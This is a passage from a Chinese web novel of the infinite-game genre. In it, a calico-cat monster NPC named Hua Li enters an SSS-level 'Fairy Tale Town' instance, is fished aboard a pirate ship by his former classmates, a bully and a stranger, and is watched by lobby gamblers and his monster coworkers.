想起花黎，洛书亦和纪铭沉默了片刻，似是陷入了以往的回忆。 “那就这么决定了。”程凡才不管那两人在想什么，手上动作迅速，在系统面板里点了组队按钮。 “哎……” 两个高中生想拒绝，但已经来不及了，程凡就像曾经在游戏外一样蛮横，抓着他们二人的手就强硬点了【接受组队邀请】。 接受组队的下一刻，两人就看见了他们明天要进的副本信息。 【副本模式：随机模式】 【副本名称：童话镇】 【副本等级：sss】 sss…… 两个高中生看到这三个s的瞬间，脸色腾地煞白！ 而他们对面的程凡则将两脚翘上桌子，露出了奸计得逞的表情，哈哈大笑。 “哈哈哈哈哈，果然，还得是你们这种傻子最好骗！” 组队成功后，作为同队队友，他们可以看见彼此脑袋上的姓名了。 瘦弱高中生脑袋上顶着：【洛书亦】； 高个子的高中生脑袋上：【纪铭】。 他们的名字前面都有一个红色的小队旗图标。 洛书亦和纪铭没有那个心力再去跟程凡理论，他们两人坐在座位上，心脏在胸腔中咚咚直跳，几乎呼吸困难，怎么也没有想到，sss级难度的副本会砸在自己脑袋上。 所有人都知道，一直到目前为止，所有sss级副本的挑战记录都是…… 无人生还。 程凡倒是没有害怕的样子，他歪着嘴笑着，做出一副假惺惺宽慰的模样： “你们也别太害怕，童话镇这个副本，到现在只有一个队伍进过，现在那个队里的人当然是都死咯，但我也得到一点内部消息。 “这个本，只要能活着出来，就能拿到史无前例的超级高分和稀有道具，以后咱们就能在游戏里横着走了。 “之前那个队伍，他们几个陌生人组的队，信任不够，又没经验，才会都死了，但我们可不见得啊——所以我这才想着找你们么，咱们可是知根知底啊。” 洛书亦跟纪铭现在虽然脑子都不转了，但他们对程凡这人还是有点了解的，没那么容易吃下他画的大饼。 两个高中生瑟瑟发抖，脸色苍白，都觉得事情怕是不像程凡说的这么简单。 “不过现在还缺一个人。”程凡双手插兜站起身，在餐厅内四处张望，像是试图寻找到他们队伍的最后一个冤种，然而梭巡了一圈，也没看到哪个认识的人。 他刚准备命令洛书亦和纪铭出去忽悠人进组，他们这张桌子就被一根修长的手指敲了两下。 程凡抬头。 桌前是一个一身黑衣，戴着围巾跟墨镜的男人，墨镜太大，看不出他的样貌年纪，程凡只觉得这人看上去装逼得要死。 ——什么鸟人在饭店里还戴墨镜？瞎啊？ 他正腹诽，这瞎子就冷淡地开口了：“你们的副本是童话镇？加我一个。” 程凡等三人差点都傻了。 对sss级副本避之不及乃人之常情，这还是头一次见到上赶着往上扑的呢。 这人……莫非是脑子有点问题？ . 花黎最后还是怀着忐忑的心情，搓搓小爪子，准备跟着塞壬一道下本了。 离开怪物屋之前，阿尔伯特和淑贞先后找上他，不由分说就往他的包裹里塞了一大堆东西，看得花黎眼花缭乱，系统的“叮叮叮”声不绝于耳。 【获得道具：应急猫粮（四拼混合口味）x10】 【物品介绍：适合旅行小猫的应急方便装猫粮，确保您的小咪即便在长途旅行中也不会饿肚子。】 【获得道具：鲜虾鱼板味压缩猫罐罐x20】 【物品介绍：神奇的小猫咪用压缩食品，以温水冲泡后食用，一罐可提供小猫一整天所需热量（大橘除外），而且适口性很棒棒哦！】 【获得道具：鼠鼠小玩具x10】 【物品介绍：鼠鼠形状的小猫玩具，小小一只，但可以满足小猫咪的捕猎欲望，增加小猫的运动量，让小猫更健康！】 【获得道具：毛绒小球x100】 【物品介绍：任何小猫咪都无法抗拒的圆圆的小东西。】 【获得道具：高级费洛蒙x2】 【物品介绍：搬家？旅行？寄养？——当您的小猫需要离开固定居所时，本款费洛蒙可以迅速安抚小猫情绪，避免小猫应激。】 除了上述这些外，还有什么猫咪毛线帽、小猫围巾、猫草、冻干、磨牙棒一类的东西，花黎一边受宠若惊，一边本能地把每一样物品都嗅嗅闻闻，记住它们的味道。 地上散乱了一地的快递纸箱，花黎拼命舔爪子，克制自己蹲进纸箱里的冲动。 然后就被阿尔伯特提溜着咯吱窝拎起来，拉成一长条，又像面团一样被放进一个纸箱里，变得短短。 “桀桀桀，小猫就要蹲在纸箱里才有力气讨生活啊，对不？”阿尔伯特语。 “……喵呜。” 于是花黎心安理得地在这个纸箱里蜷缩成了一个猫球，他有一条前段黄色，只有尾巴尖尖雪白的毛茸长尾巴，此时那截白尖尖因为喵心满足，而在空中晃荡着打圈。 阿尔伯特跟淑贞轮流摸了他脑袋和下巴几下，两个同事的手都是碰一下小猫脑袋就像被黏住了，黏黏糊糊半天，好不容易意犹未尽地拿走了，没过两秒又像被磁铁吸回来了一样，继续rua。 手拿走，又摸，又拿走，再摸……无限重复以上的过程。 两个怪物分别撸了许久猫以后，站在纸箱子前又吵起来。 阿尔伯特说：“你也给小梨花带太多没用的东西了，你不知道包裹是有负重上限的么？揣着你这些垃圾小梨花还怎么自如活动？” 淑贞说：“我给的都是旅行出任务必备物品！少了哪一个都不行的。小梨花在外面饿了冷了无聊了怎么办，我看你是一点都不想啊！！果然男人就是这样，没有一个好东西……男骷髅头也一样！！！” 阿尔伯特无语：“别的也就算了，童话镇那个副本四季如春的，能冷到哪去？” 淑贞不爽：“万一呢！万一呢！长途旅行总是会出现很多万一！我没让小梨花把铁锅带着就不错了！万一小梨花被困住出不来，食物都吃光了，至少他还可以把那条鱼炖了！” 花黎：？=口= “那条鱼”…………是指塞壬吗………… 小猫团一激灵，抖了两下。 5、第五章 隔天，花黎背着他的万能小包裹，小小一只骑在塞壬的尾巴上，在阿尔伯特和淑贞的千叮咛万嘱咐中，传送进了副本。 周围一下子变得一片漆黑，闪过无数银色的光点，如同在银河中穿梭。很浪漫。 花黎一开始担心塞壬的尾巴太滑了他会掉下去，就抱紧了人鱼尾巴。 后来才发现，塞壬的沉默寡言之下竟意外地细心，那条鱼尾在花黎周围竖起了一圈鳞片，将他圈在其中，保证他不会滑落。 银色的鱼尾在“星空”中闪闪亮亮，像星星，花黎这才小心地松开爪爪，端端正正地坐在了鱼尾上。 传送的过程只是一瞬间，很快眼前便开阔起来，被日光照亮。 同时系统信息面板自动打开。 【欢迎进入副本「童话镇」，副本信息加载中……】 …… 【加载成功。】 …… 【副本描述：这里是一个平静的海滨小镇，生活在这儿的人们过着日出而作日落而息的生活。渔民出海捕鱼，妇人上山采摘，孩子无忧无虑的玩耍……但这段时间以来大家的平静生活被打破了，因为这片海域内最令人闻风丧胆的海盗最近盯上了这里……童话镇的命运将会如何呢？】 花黎一张小猫脸皱作一团，看着这云里雾里的描述，根本不知道自己到底要做什么。 塞壬敏锐地察觉了他的情绪，鱼尾摆了摆，激起了一片水花。 花黎这才发现，他正骑在塞壬身上漂在海面上，放眼望去，四周尽是平静蔚蓝的大海，空无一物，连鱼都看不见。 猫都多少有点怕水，花黎也不例外，见状顿时心中紧张焦虑起来，两只爪爪又无意识地上下抓握，踩起奶来。 踩了一会儿才惊觉自己在人家塞壬尾巴上伸了指甲，赶忙道：“咪咪喵！”对不起，我不是故意的！ “……”塞壬不语，只是一味地沉下脑袋，在水里吐泡泡。 根据他吐泡泡的节奏，花黎判断出塞壬表示不介意。 “喵咪咪~”塞壬，你真是条好鱼~ 花黎由衷赞美道——他从来没有见过像塞壬这么宽宏大量的鱼。 想了想，花黎又问道：“咪咪咪喵呜呜？”我们现在该做什么呢？就这么在海上漂吗？我看阿尔伯特跟淑贞姐姐很紧张的样子，这里会不会有什么危险鸭？ 塞壬沉思片刻，再次埋头，吐了一串泡泡。 花黎又理解了他的意思。 【想做什么就做什么，没事，随便玩玩就好。】 “喵0.0”这样的吗。 花黎没有玩过什么游戏，如果他玩过，就会明白，塞壬的话翻译一下，意思大约是：没事，想怎么玩就怎么玩，我带飞你，你混分就好。 但他没有，所以他现在其实还有一丝丝的忧虑。 阿尔伯特跟淑贞都说塞壬这条鱼不怎么靠谱，花黎虽然很愿意相信塞壬，不过经过这段时间跟塞壬的相处，他对人鱼也有了一些粗浅的认知。 塞壬很宅，还有重度拖延症，不同于常年超超超额完成kpi的淑贞，他总是把每个月的kpi都堆到最后才能勉强完成，平时在怪物屋唯一的日常就是宅在大水缸里吐泡泡。 而且塞壬年纪还不大，据说属于人鱼里的青少年。 teenager，唔嗯嗯……总是会让人产生一点点忧虑。 花黎紧张地舔着爪爪，老气横秋地想。 他倒不是担心被塞壬坑，他是担心自己太弱小，给塞壬拖了后腿，到时候让塞壬陷入危险……如果是那样的话，小猫真的会很愧疚。 塞壬又敏锐地察觉到了花黎的忧虑，鱼尾甩了甩，刚准备说些什么，远处一艘大船破开海水驶了过来，汽笛声轰鸣。 “喵？” 花黎愣愣抬头，只见一艘全木质结构的船已经驶到了他们旁边，船的桅杆上挂着戴单边眼罩的红色骷髅图案。 是海盗船。 如此之近，他甚至能听清甲板上的人说话的声音。 “这附近好怪啊，怎么连条鱼都没有？明明刚才过来的路上还有不少热带鱼甚至海豚什么的，这边怎么什么也没有？” “傻逼，都进sss级副本了，还有闲心思看鱼呢？拿这儿当海洋馆呢？” “可是……可是……进副本的时候……任务提示也有‘多观察’什么的字样啊……” “一个两个蠢得跟驴子一样，你们不死谁死？哈哈，多观察是让你观察鱼？你咋不观察云观察鸟观察空气啊？就你们这些白痴玩意，我看迟早他妈死这里！” “…………” “那个……宋斐哥，你……你觉得呢？” 少顷，一个冷淡又磁性的男声响起：“没有鱼虾，可能是因为附近有强大的怪物，导致鱼群闪躲。” 花黎还在无意识踩奶的猫爪一顿。 他刚刚听到了什么？ 宋斐！ 三花猫一双琥珀色的圆眼睛亮了亮，抬起了小脑袋，努力向那艘船的船舱上张望，试图看清船上的人。但海盗船外围的木头栏杆太高了，他又矮又小，抬头除了呛了一鼻子被大船推来的海水外，什么也没看见。 “喵咳咳咳咳……” 船上的人不停说话，小猫在船底下直扑腾。 看不见船上的人，那就只能上船确认了。花黎这么想着，抬起爪爪在海岛船底部抓挠起来，试图用这种方式引起上面的人的注意。 然而海浪声太大，这么点小动静完全被掩盖。 “喵嗷嗷嗷嗷——！”大哥——是你吗——！ 花黎嚎叫起来，想象自己是一只威武雄壮的大脑斧。 他叫了许久，终于，刚才那个冷淡的男声再度响起：“我怎么听到有猫叫声？” “啊？猫叫？哈哈，别闹了大哥，哪来的猫？” “真的有。”那个声音笃定道。 “有有有有你个鸡.吧！宋斐，老子他妈看你不顺眼很久了，你一个c级，在这牛逼轰轰的他妈是几个意思？欠揍是吧？！” 这一通发泄式的辱骂没有得到任何回应。 甲板上传来脚步声，逐渐挪移到船身边沿。 “宋斐！你他妈走什么走，你他妈到底有没有在听老子讲话？！” 那个很聒噪的人仍旧在咆哮，花黎隐隐觉得这个聒噪的声音有几分耳熟，但又一时没想起来是谁。 少顷，一个人从船身侧面的栏杆上探出了上半身。 花黎便撞进了那人漆黑的眼瞳里。 “喵……喵呜……”好……好心人，捞捞我…… 花黎这才想起自己还骑在塞壬身上，然而一低头才发现，脚下的塞壬不知道什么时候消失了。 取而代之的是一截圆圆的浮木。 他成了一只抱着浮木在海上漂流的冒险小咪。 一根麻绳从船上抛了下来，花黎看着那根粗粗的绳子在自己面前晃啊晃啊晃，本能地“喵嗷”一声紧紧抱住。 然后他就被提溜上了船。 . 花黎蜷缩成一小团，两只小小的耳朵瘪成了飞机耳，垂在脑后，从正面看这只小猫像是一只没有耳朵的小兔子。 因为刚刚在海里漂了太久，又一直被海浪拍打，小猫现在浑身湿漉漉的。 花黎本是一只长毛小三花，平时圆滚滚毛茸茸胖乎乎，现在变成了落汤猫才发现，原来都是虚胖。 小猫小小一只，圆脸也变成了小v脸，看起来特别可怜。 三个人走到了他的面前。 花黎抬头仰望，在看清他们的脸之前，先看到了他们顶着的姓名。 【洛书亦】、【纪铭】、【宋斐】。 再越过这三人看向后面的另一人：【程凡】 小猫呆住了。 全是熟人啊…… 洛书亦和纪铭是花黎以前的初中同学，跟他一样的学校边缘人，也算是同病相怜，有些共同语言，虽谈不上十分亲密，但也还算熟悉。只是因为高中不在一块，才渐渐不再联系。 至于程凡……这个在花黎的初中时代敲诈勒索过他无数次，还曾因为诈不到钱而把他揍得鼻青脸肿的混混……不提也罢。 也不知道这几个人怎么会凑到一起的…… 花黎只是疑惑了一瞬，就调转小猫脑袋，目光最后落在那位【宋斐】身上。 他的心怦怦跳，没想到才刚进副本就能见到大哥了！他的运气也太好了咪！ 不过宋斐太高了，花黎又太小只。他还没有宋斐的小腿肚子高，从这个角度根本看不清宋斐的脸。 花黎觉得这个“宋斐”的声音和语调，好像跟他大哥略微有点不一样，但他还是想再确认一下。 看不清楚对方的脸，花黎索性便伸出两只湿淋淋的小猫爪，扒拉住了宋斐的裤腿。 然后像只水猴子（迷你版）一样，咕噜咕噜顺着裤腿往上爬。 …… 宋斐沉默地俯视着脚下这只湿漉漉的小猫。 他并不是一个多么喜欢小动物的人，对于猫咪也没有什么特别的兴趣，之所以会把这只小猫捞上来，不过是出于游戏的习惯。 ——任何出其不意出现的小东西，都有可能是通关的关键线索。这是所有老练的玩家的共识。 一只踩着海上不知哪来的木头忽然出现的三花猫。 这可太出其不意了。 宋斐正在思考时，小猫已经毫不见外地爬到了他的大腿，两只肉乎乎的小爪子在他腰间的皮带上一勾，又抓住了他的衬衫。 “嘶啦——” 那昂贵的丝绸面料衬衫立马被勾出了一个大口子。 宋斐：“……” 未免悲剧继续发生，他无语地抬起手，托住了这只湿乎乎的小猫的屁股。 虽然小猫的毛发湿了，但触手柔软q弹，小屁股圆圆的，手感很不错。宋斐无意识地捏了一把，然后将小家伙捧了起来。 不知为何，他在这只小小的三花猫脸上看到了一丝局促。 随后，待一人一猫的目光对视上，他又……清晰地在那张猫脸上看到了一种失望的神情。 宋斐眉毛一挑。 这落汤猫，是对他有什么不满么？ 6、第六章 这个人……不是宋斐。 花黎抬头仰视着头顶上方男人的脸。 眼前的男青年看上去有二十多了，并不是高中生的年纪。 他生了一张相当俊昳的面容，就是那种大人经常说的“骨相好”的人，脸部轮廓深邃分明，肩宽个儿高，像个很英气的男模。 花黎是很尊敬他大哥宋斐的……但大哥确实没这么帅。 ……至少不是这种世俗意义上的帅。 果然，老天爷又跟他开了一个玩笑。他就说，他从小到大也没有遇到过这种天降的好运呢。 花黎有些沮丧，不过很快又振作了起来。 没关系！只要努力打工，完成kpi，赚游戏币，买到商城里的道具，他一定就可以找到大哥了！ 花黎低头向海面看去，蔚蓝的大海一片平静无波，塞壬不知何时早已不知去向，只留下了一串白色的泡沫。 与此同时，花黎听到了【叮】的一声系统提示音，他打开系统面板，就见最顶上多了一条新的任务指示： 【截至当前副本内所有玩家通关/死亡时为止，获得1000点喜爱值，则视作「怪物npc花黎」完成任务，将视任务完成情况给予积分和游戏币奖励；否则视作任务失败，无法获得奖励并将扣除500点积分。】 【「怪物npc花黎」当前喜爱值：2点，任务完成进度2/1000】 还没回过味来，浑身湿透的小猫就被一块毛茸茸的大毯子从头到脚裹住了。 花黎：咪？！ 就算有彩虹色的麻袋，也不可以偷猫啊咪！ . 游戏大厅。 “咦？我靠，又有队伍进sss级本了啊！” 小镇的中心广场上，有人看见大屏幕旁边的滚动字幕，发出了惊呼。 “草，真假？？？谁那么倒霉？！” “哪个本哪个本？？是那个开得最多的血嫁衣本么？” “不是哦，是童话镇。” 聚集在中心广场的一群玩家视线都向大屏上聚集而去，果然，大家很快就在滚动字幕条里看见了：【玩家程凡小队已进入sss级副本：童话镇。挑战开始。】 “程凡？”有人咦了一声，道，“这人我知道啊，在我们市服排行榜上挂着呢，我们市怎么说也算是南部大城市了，他实力应该可以的。” “再可以，也只是b级啊，一个普通的市服选手，要想杀穿sss级副本根本没可能吧。” “别说b级的市排名选手了，你们他妈知道上次进童话镇的几个人是谁么？全是国服排行榜上响当当的大神！最后结果你们也知道了吧。” 想到上次那支误入童话镇副本的队伍，看过那场直播的玩家都禁不住打了个冷战，心中升起一股兔死狐悲之感。 童话镇这个副本在国服只开过一次，就是在八天前。 第一个进童话镇副本的小队并非被系统随机到的倒霉蛋，而是自己主动选择的。 毕竟这个世界上，总有些人喜欢拥抱冒险和机遇。 有部分国服高手自认实力强劲，就会主动挑战这些高难度本，以通关后的巨大奖励为目标。 八天前那个进童话镇的就是这样一支集结了国服高手的队伍，但那四个人甚至连副本内的第一天都没有撑过就团灭了。 国服高手尚且如此，眼前这支草台班子队伍估计更是全军送死的料了。 游戏大厅的玩家们叹惋着摇头。 虽然对程凡队不乐观，但他们还是不约而同地把各个屏幕切到了童话镇副本的直播频道。 对于还在开荒状态的本，自然是能多了解一点是一点。 “诶，这只猫哪来的？看头上名字颜色是蓝的，那就是npc？上次那组人进本的时候还没有呢啊！” “不知道……看着倒是挺可爱的，是长毛三花诶，颜值好高。” “……”有人无语道，“颜值顶个屁用，你当这是模拟经营养宠游戏啊？要不要再给你增加个换装做饭栏目，咱休闲到底呗。” “……我就是感慨一下嘛……” 绝大部分玩家仅仅只是好奇了一下这只上次上次没见过的小猫，就不再关注了。 谁也不会期待一只猫能给一个sss级副本的通关进程带来任何决定性的影响。 玩家们沉默片刻，有没看过上次童话镇录屏的玩家小心翼翼问道：“请问，上次那组进童话镇的玩家，你们刚刚说……他们连第一天都没有撑过去，到底是……” “呵呵。”旁边的老油条被他天真的语气逗笑了，点了根烟，轻嗤道，“嗐，你再看一会儿就知道了。我估计，这组人也离得不远了。” . 现在的时间是下午17:30，平常在怪物屋的时候，即便是勤快如小花黎，这个点也是在睡觉的。 因为每一只青壮年小猫咪，都要至少保持每天12-15个小时的睡眠呢。 所以花黎有点困困的，他懒洋洋地趴在海盗船的侧边栏杆上打哈欠，同时悄悄观察着那几个人。 除了那位跟大哥同名同姓的宋斐哥以外，其他三人他都很熟悉了。 程凡，花黎初中时附近技校的混混，以欺负讹诈他们这些“乖学生”为乐，花黎在他手里吃过不少亏。就是因为以程凡为首的这些欺负他的人存在，才让花黎在升上高中后，下定决心要为自己找一个坚强后盾的。 洛书亦跟纪铭不用多说，毕竟是老同学，看到他们二人慌乱无措的样子，花黎很想帮帮他们。 虽然……他目前还不太清楚该怎么才能帮到他们，喵呜。 程凡忽然说话了： “喂，你们都收到系统给的主线任务了吧？” 洛书亦：“收……收到了。” “我们的任务应该都是一样的吧？”程凡说。 “呃……反正我的是这个……”洛书亦低头摆弄了一番，将自己的系统面板调试成他人可见的模式，大家便看到了他的主线任务： 【成为这片海域内最强大和富有的海盗，积攒价值2亿金币的财宝。】 在这个游戏里，进入任何副本都会接到系统发布的一个主线任务，完成主线则意味着通关副本。 “哼，看来都是一样的。”程凡点了根系统商城里相对廉价的烤烟，狠狠吸了一口，吐出大团烟雾，呛得洛书亦连连咳嗽。 “就是不知道，这个2亿，到底是指每个人2亿呢，还是整个队伍2亿呢？”程凡道。 “是整个队伍。”宋斐淡淡插了一句。 “你他妈又知道了？！” 宋斐没说话，他靠在甲板侧边栏杆上，依仗身高优势，居高临下地睨了程凡一眼，然后手一伸，拿起了挂在船头的一把银光闪闪的长剑。 “！！！你他妈……你他妈要干嘛——” 程凡以为宋斐要跟他干架，接连后退了好几步，赶紧摆出一副迎战架势，没想到宋斐连看都没再看他，下一刻就将那把剑放进了自己的包裹内。 宋斐：“看你们的任务完成进度。” 程凡：“……” 其他三人下意识照做了，打开系统面板查看了各自的任务进度，一致变成了【6/200,000,000】。 宋斐：“目前看来这个副本就是这样，只要把副本内的物品和财物放进背包，就自动归进任务进度。” 纪铭：“原来如此……这样看的话，倒是还蛮符合我们海盗的身份的……” “不过要积攒到价值2亿金币的财宝，听上去很难……” 洛书亦说到后来声音逐渐变低。 不是很难，是太难了吧…… 副本内金币的概念就等于玩家的游戏币，2亿游戏币，那是什么概念？都可以在游戏内横着走了。哪有那么容易能赚到…… 程凡咧嘴笑了：“你不会打算老老实实去赚这个钱吧？真够蠢的，既然是海盗，当然他妈要去抢啊！去镇上抢劫那些npc，把他们的值钱玩意全部卷走！懂？” 洛书亦咬了咬嘴唇，不敢再说话了。 在进副本之前，他其实就跟纪铭偷偷聊过，为什么程凡要选他们俩组队。 他们俩这个水平，不管怎么看都不像是程凡能看得上眼的队友啊。 ……难道真的只是单纯因为他们好坑？不能吧，这可是会丧命的本啊，程凡会这么草率？ 洛书亦和纪铭百思不得其解，商量了一晚上也没讨论出个所以然来。 当时纪铭还感慨：“哎，要是花黎在就好了，他脑子比较聪明。” 然后两人便一齐陷入沉默。 曾经他们读初中的时候，很多次能侥幸逃离学校内外的欺负，都是靠着花黎聪明的脑袋瓜想办法。 尽管花黎在学校的平时表现并不出色，平常从月考到期中期末，他的成绩都在中下游徘徊，但稍微跟花黎熟悉一些就能看出来，这是他有意控制的结果。 所以花黎才会在中考时考出了一个亮瞎人眼的分数，从普普通通的海城中学，飞升上了重高。 花黎跟他们是不一样的，鸿鹄不会一直龟缩于燕雀的巢穴中。 海上的天色，渐渐暗下来了。 海盗船仍在海面上平稳行驶，地图显示，以他们现在的速度，要抵达童话镇港口，大约还需要一个半小时。 白天时尚且平静的海面上渐渐翻涌起层层浪涛，海盗船在巨浪间浮浮沉沉，剧烈颠簸着。 不知何时下起了雨，从淅淅沥沥的毛毛雨开始，逐渐变成乌云滚滚的雷暴雨。 他们缩进了船舱里，宋斐是最后从楼梯下进船舱的，他手里抱着毛茸茸的小毯子，毯子里裹着那只从海上漂泊而来的三花猫。 程凡点燃了动物油脂做的灯，看着宋斐，忽然呵呵笑了一下。 “我说你们，都看过上一个进这个本的队伍的录屏不？” 洛书亦和纪铭摇头，宋斐则冷冷淡淡听若未闻的样子。 要观看已经结束的副本的录屏是要花钱的，而且还挺贵，洛书亦跟纪铭都付不起这个钱，在进本前只能从情报贩子那买了点情报，对方简略地告诉他们，那四位“前辈”都是高手，但是却都没活过进本的第一晚。 “我看过。”程凡好整以暇坐了下来，“他们的船还没开到童话镇的那个岛上就他妈团灭了，你们知道他们他妈是怎么死的么？” 程凡没等其他人回答，就迫不及待地说，“他们在海上，遇到了海怪。” “那些海怪要吃了三个人，只能留一个，他们为这个名额打起来了，自相残杀死的。 “他妈说到底，是他们那个队长太蠢了，组了三个高手。我是不可能跟他一样那么呆的，所以我才组你们三个c级的菜鸡，到时候你们只管放心去死，老子一个人单通。” 7、第七章 游戏大厅内，随着程凡这一串得意洋洋的宣言，一片哗然。 部分看过那场直播或者录屏的玩家证实了程凡说的话，广场角落的小酒馆兼赌坊里的人开始蠢蠢欲动。 赌坊里每天会根据正在进行的副本，让玩家们入桌下注。 sss级的副本因为关注度高，赌池也比寻常副本大，但绝大多数人下sss级副本的赌池都是无脑赌团灭的，程凡小队现在也是如此。 然而，在程凡刚刚的一通激情演讲后，赌桌上的局势开始产生了些微的变化。 程凡一人单通的赔率略微下降了一些。 一个少年模样、眉目阴郁的人走到赌桌前，皱眉思索许久，最后咬咬牙，拿出自己的全副身家，选择了allin程凡单通。 “我靠，李沛南，你这是干啥？”他旁边的人惊呼。 “搏一搏，单车变摩托。说不准呢。” “呵呵，好吧，还得是你，胆儿真大，佩服佩服——哎，话说都进游戏这么久了，你找到你弟没？” “没，我也没找他好吧。”少年发出一声短促的嗤笑，“那小子八成死了，他那样的，无限流里活不过两集的。不管他，我家养了他十多年了，这慈善也做够本了。” “也是。” 两人的谈话终止于此，名叫李沛南的少年很快完成了下注，然后状似无意地抬头，目光掠过大屏幕中恰好放到的那只三花猫。 三花猫头顶上顶着蓝色的npc名字：【三花猫·花黎】。 跟他那个便宜表弟同名。 可不是么，花黎跟这只猫有什么区别？ 弱小，没用，除了喵喵叫着招人烦以外，一点没有别的用处。 李沛南盯着那只猫无聊地看了一会儿，就在同伴的招呼下离开了赌坊。 他期待着这个程凡能爆冷，给他赢下巨额的财富。 有了足够的钱，就能买下大量游戏商城里的稀有道具。带时候，他就真的是这个无限游戏里的大男主了。 . 副本内的玩家（和猫）不知道游戏大厅中发生的事，花黎身上的毛已经完全干了，蓬松垂落，毛茸茸软乎乎。 他正在津津有味吃淑贞和阿尔伯特给他的罐头。 海上暴雨倾盆，船身晃动得十分剧烈，小猫的罐头在地上从一头滑到另一头，再从另一头滑回来，像个保龄球。 小小的三花猫就锲而不舍地追着“保龄球”跑。 洛书亦跟纪铭自从刚才听了程凡说的上一个小队团灭的经历后，就面色惨白，魂不守舍。看见小猫追着罐头跑得兴高采烈，洛书亦苦笑叹气：“下辈子我也想做小猫，无忧无虑的，真好。” 花黎“喵嗷”一声，一个飞扑抓住向前滑动的罐罐，刚舔了一口，就又是一个大浪打来，船身向右侧翻，他连猫带罐向一起哧溜了过去。 花黎：@x@晕…… 一双温热的大手将头晕脑胀的花黎从地上抱起来，一只手扶着他的前肢，一只手托着他的屁股，罐罐则被拿到了他的鼻尖前，他只要一伸舌头就可以尽情享用的距离。 小猫懵懵抬头。 就见头顶上是宋斐那张高冷深邃的脸，微垂眼睫看着他，不同于此人的冰山脸，他抚在花黎背上的手却很有温度，温和地梳理着小猫的毛发。 花黎禁不住本能地发出呼噜呼噜的声音，两只前爪又开始隔空踩奶。 程凡见状，忍不住嘲讽道：“你倒有闲心，还玩上猫了，一会怎么死的你他妈都不知道。” 宋斐连眼皮都没抬一下，视他作空气，程凡愈发气得跳脚，一头黄毛都要竖起来了。 “……装吧，你就装吧，我倒要看看你个装逼犯还能装多久！” 花黎吃完了一个罐罐，打了个小小的饱嗝。 他无视了猴子一样聒噪的程凡，舔了舔嘴角跟胡子上沾到的肉泥，回味着猫罐罐香香的奶糕味——淑贞跟阿尔伯特每次给他买的都是商店最高级的罐头，味道比他以前做人的时候吃的东西都要好多了！ 船也行驶很久了，他见宋斐他们一直没吃东西，就主动从自己的背包里掏出一个罐罐。 小猫跳到宋斐旁边的桌子上，猫爪将罐罐一点一点推到宋斐跟前。 “喵~”人，你也吃，这个味道很好的~人猫通用！就当感谢你把我捞上来擦干了。 宋斐愣了一下，随后眼底居然沁出一点笑意。 那笑意太淡，转瞬即逝，小猫并未注意，很快就又颠颠地跳下桌，随着摇摆的船身，东摇西晃地跑到洛书亦和纪铭身边，又叼出两个罐罐。 “喵咪！”快吃快吃，多吃点一会儿才有力气面对危险鸭！ 那两人还没来及说什么，后面的程凡忽然说：“这个猫怎么回事，它哪来的这么多吃的？什么玩意？该不是怪吧，把它打死能爆装备不？” 宋斐冷冷地：“npc都有自己的包裹，猫也是npc。” 程凡被宋斐那种看垃圾一样睥睨的眼神看得一个激灵，随后又因为自己这一瞬间的畏惧而恼羞成怒，猛地一拍桌。 “你一个c级，一直这么装到底他妈什么意思？！老子告诉你——” 程凡低头看了一眼系统面板上显示的副本时间，冷笑道，“呵呵，马上就他妈要到之前那个队团灭的地方了，老子到时候第一个把你小子扔海里喂章鱼！” 就在此时，外面一声闷雷，闪电的银光闪烁，将整个海域映照得亮如白昼。 巨大的海盗船就像一片飘摇的叶子，在海上浮浮沉沉，小小的三花猫又在船舱内随着颠簸滑过来滑过去。 船舱里的人都听见了一点若有若无的、渺远的歌声。 那歌声，初听如仙乐，婉转凄绝，似暗礁边盼望远航的旅人归来般的哀婉。但细听之下，又仿佛夹杂了野兽嘶鸣一样的声调，让人头皮发麻。 歌声从一开始的时近时远，到越来越清晰，越来越哀恸…… 花黎抬起头。 他倒是没有怎么受影响，但是他面前的洛书亦跟纪铭都露出了恍恍惚惚的神色。 一直在浪涛中摇来晃去的海盗船，忽然不动了。 外面的海浪仍然在翻滚，暴风呼啸，船却像是被卡在了礁石中间，一动不动，诡异地“停靠”在大海的中央。 程凡的神情也逐渐空茫，伴随着那一阵阵的“仙乐”声瞳孔失焦。 他抬着头，一步三晃，顶着一双空洞失焦的眼睛发出古怪的笑。 “来了，来了……怪物来了……你们死了……我、我以后清明会……给你们烧香的，呵呵——” 海浪拍打在船身上，发出哗哗的声响。 花黎的耳朵尖动了动，小猫坐直了身体，仔细听外面的动静，听那断断续续的歌声。 眼下这个场景让他想到了之前看到的塞壬的怪物描述。 其中似乎有关于人鱼用美妙的歌声引诱并猎杀渔民的段落。 花黎用小爪爪挠了挠脑袋，沉思片刻，灵活地顺着船舱内的台阶一溜烟跑了出去。 小小的三花猫没有注意，船舱内的宋斐，在那渺远空灵的海上歌声中，眼神依旧清明。 男人就那么看着他跳脱的背影独自出了船舱。 . 怪物屋没有游戏大厅的高清大屏，阿尔伯特跟淑贞坐在瘸了一条腿的木桌前，屏息观看那台老式大屁股电脑的屏幕。 因为电脑屏幕太小，一男一女两只怪物不得不摩肩擦踵地挤在一起。 “！！！阿尔伯特……你……压到我的……头发了…………你这个……恶臭男骷髅…………” “好了好了，我又不是故意的，我跟你道歉，跟你道歉。咱能先不说这些了不淑贞？这可是咱们家小梨花第一次出任务的宝贵时刻啊，咱能别找架吵不？好好看直播嘛……哎哎哎，别碰那个！我开了录像模式呢！你一碰就停了！小梨花第一次出任务怎么也要完完整整录下来才行啊！以后可都是回忆——” “……你给我……闭嘴……吵死了，就你关心……小梨花么…………我杀了你哦…………”黑色的怨气从红衣女鬼周身幽幽升起。 两只sss+大怪物碰碰擦擦骂骂咧咧了一会儿，终于消停，继续认真看直播。 “那个叫程凡的，不像个好东西。” 阿尔伯特硕大的骷髅手抚摸着下巴骨，眯眼盯着屏幕中的程凡。 “他刚才……说要……打死小梨花…………”淑贞的怨气愈发浓郁，如有实质。 “小梨花一定也不喜欢他。”阿尔伯特断言道。 “那就……杀了他…………男人……都是恶臭虫子罢了………死不足惜……” “我来查查这个人的具体信息。”阿尔伯特无视了淑贞个鬼情感过分浓郁的发言，拿出了调查道具，在搜索面板上输入了程凡的id。 骷髅骑士盯着不断跳出各种图片视频和文字资料的面板，那张一半人皮一半骷髅的脸上神情逐渐肃杀。 他阿尔伯特，也并非是看上去那样慈祥的管理者哈。 某种程度上来说，他们怪物，比人类还要更有底线呢。 他们的底线就是，欺负过他们的“自己人”的家伙，那是一定要好好报复一下的。 这么想着，阿尔伯特再次看了眼直播屏幕中精神恍惚的程凡，给正在执行任务的塞壬发送了一封私密通讯。 